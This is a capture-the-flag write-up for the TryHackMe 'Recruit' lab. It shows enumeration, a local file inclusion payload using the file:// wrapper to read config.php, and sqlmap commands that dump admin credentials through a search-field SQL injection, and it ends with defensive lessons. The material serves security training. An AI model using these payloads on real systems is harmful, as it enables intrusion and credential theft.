TryHackMe Recruit Writeup
Written By Aryan Giri
Recruit โ TryHackMe Writeup
Room Information
Room: Recruit
Difficulty: Easy
Category: Web Security
Objective
Recruit has launched a new recruitment portal that allows HR staff to manage candidate applications while administrators oversee hiring decisions.
Our goal is to assess the application from an attacker's perspective, identify exposed functionality, exploit vulnerabilities, gain an initial foothold, escalate privileges, and ultimately log in as the administrator.
Initial Enumeration
The target application is available at:
http://10.49.139.46/
Upon visiting the website, we are presented with a login page.
Rather than immediately attempting authentication, begin enumerating every piece of publicly accessible functionality.
Discovering the API Documentation
On the login page there is an API link.
Clicking it redirects us to the API documentation.
The documentation exposes an interesting endpoint:
/file.php?cv=<URL>
The documentation explains that this endpoint can fetch a candidate CV.
Although it appears harmless, it is worth noting because endpoints accepting file paths or URLs often become attack surfaces.
Keep this endpoint in mind.
Web Enumeration
Since we currently do not know any usernames or passwords, perform basic web enumeration.
Running Nmap's vulnerability scripts:
nmap --script vuln 10.49.139.46 -p80
Output:
PORT STATE SERVICE
80/tcp open http
| http-cookie-flags:
| PHPSESSID:
|_ httponly flag not set
| http-enum:
| /mail/: Mail folder
|_ /phpmyadmin/: phpMyAdmin
| http-fileupload-exploiter:
|_ Couldn't find a file-type field.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
Although no critical vulnerability is discovered automatically, Nmap reveals two interesting directories:
/phpmyadmin//mail/
The room objective doesn't involve phpMyAdmin, so we will ignore it for now.
The /mail/ directory looks much more interesting.
Inspecting the Mail Directory
Browse to:
http://10.49.139.46/mail/
A mail.log file is present.
Opening the file reveals an internal email:
From: HR Team <hr@recruit.thm>
To: IT Support <it-support@recruit.thm>
Date: Tue, 14 May 2024 09:32:10 +0000
Subject: Recruitment Portal Deployment Confirmation
Hi Team,
Just a quick update to confirm that the new Recruitment Portal
has been deployed successfully and is functioning as expected.
We've completed basic validation:
- Login page is accessible
- Candidate dashboard loads correctly
- API documentation page is live
As discussed during deployment:
- HR login credentials (username: **hr**) are currently stored in the application
configuration file (**config.php**) for ease of access during
the initial rollout phase.
- Administrator credentials are NOT stored in the application
files and are securely maintained within the backend database.
Please let us know if there are any issues or if further changes
are required.
Two extremely valuable pieces of information are leaked:
- Username:
hr - Password Location:
config.php
This immediately reminds us of the endpoint discovered earlier:
/file.php?cv=<URL>
Exploiting Local File Inclusion
Attempting to retrieve the configuration file directly:
curl http://10.49.139.46/file.php?cv=config.php
Response:
Only local files are allowed
This tells us that the endpoint is attempting to restrict remote resources.
However, the application accepts local file wrappers.
Using the file:// wrapper:
curl http://10.49.139.46/file.php?cv=file://config.php
Response:
$APP_NAME = 'Recruit';
$APP_ENV = 'production';
$APP_VERSION = '1.2.4';
...
$HR_PASSWORD = '**hrpassword123**';
The Local File Inclusion vulnerability successfully exposes the application configuration.
We now have:
| Username | Password |
|---|---|
| hr | hrpassword123 |
Initial Access
Using the recovered credentials:
Username: hr
Password: hrpassword123
we can successfully authenticate as the HR user.
After login, the HR dashboard becomes accessible.
The room provides the first flag here (hidden in screenshots to comply with TryHackMe policies).
Looking for Privilege Escalation
Our objective is now to become the administrator.
Exploring the dashboard reveals:
- Candidate listing
- Search functionality
Initially, several possibilities were tested:
- IDOR
- Cookie manipulation
- Parameter tampering
None produced useful results.
Next, test the search field for SQL Injection by entering:
'
Instead of a normal response, the application returns an SQL error.
This is a strong indication that user input is reaching the database without proper sanitization.
Exploiting SQL Injection
This vulnerability can be exploited manually or automatically.
For this room, SQLMap is significantly faster.
Capturing the Request
Instead of manually copying cookies into SQLMap using --cookie, we can simply use the -r option.
Configure Firefox
If Burp Suite is not already configured:
- Open Firefox Settings
- Search for Proxy
- Open Network Settings
- Select Manual Proxy Configuration
- Set:
HTTP Proxy:
127.0.0.1
Port:
8080
This forwards browser traffic through Burp Suite.
Save the Request
Search for any value (for example 1) inside the application's search box.
The request appears inside Burp.
Navigate to:
Proxy
โ HTTP History
Right-click the request:
Save Item
Save it as:
req
Enumerating Databases
Run:
sqlmap -r req --dbs
Result:
available databases
information_schema
mysql
performance_schema
phpmyadmin
recruit_db
sys
Earlier, the leaked email mentioned that administrator credentials are stored inside the backend database.
The most relevant database is:
recruit_db
Enumerating Tables
sqlmap -r req -D recruit_db --tables
Output:
+------------+
| candidates |
| users |
+------------+
The users table is the obvious target.
Enumerating Columns
sqlmap -r req -D recruit_db -T users --columns
Output:
+----------+--------------+
| id | int |
| password | varchar(100) |
| username | varchar(50) |
+----------+--------------+
Dumping Credentials
Dump users:
sqlmap -r req -D recruit_db -T users --dump
Result:
+----------+
| username |
+----------+
| admin |
+----------+
Dump password :
sqlmap -r req -D recruit_db -T users -C password --dump
Result:
+----------------+
| password |
+----------------+
| admin@001admin |
+----------------+
Administrator credentials recovered:
Username: admin
Password: admin@001admin
Administrator Access
Authenticate using the recovered credentials.
Username: admin
Password: admin@001admin
The administrator dashboard is now accessible.
The final flag is displayed after successful login.
Attack Chain Summary
Anonymous User
โ
โผ
API Documentation Disclosure
โ
โผ
Discover /file.php?cv=<URL>
โ
โผ
Directory Enumeration
โ
โผ
Expose mail.log
โ
โผ
Leak username (hr)
Leak password location (config.php)
โ
โผ
LFI using file:// wrapper
โ
โผ
Read config.php
โ
โผ
Recover HR Password
โ
โผ
Login as HR
โ
โผ
SQL Injection in Search
โ
โผ
SQLMap Enumeration
โ
โผ
Dump users Table
โ
โผ
Recover Admin Credentials
โ
โผ
Login as Administrator
Vulnerabilities Identified
| Vulnerability | Impact |
|---|---|
| Information Disclosure | API documentation exposes internal functionality |
| Directory Enumeration | Exposed mail directory leaks sensitive operational emails |
| Local File Inclusion (LFI) | Reads application configuration and secrets |
| Hardcoded Credentials | HR password stored inside configuration file |
| SQL Injection | Database enumeration and credential extraction |
| Excessive Information Exposure | Internal deployment information aids attackers |
Lessons Learned
- Never expose internal deployment emails through publicly accessible directories.
- Configuration files should never contain plaintext credentials.
- File retrieval endpoints must strictly validate file paths and reject dangerous wrappers such as
file://. - Parameterized queries should be used to prevent SQL Injection.
- Public API documentation should avoid exposing implementation details that assist attackers.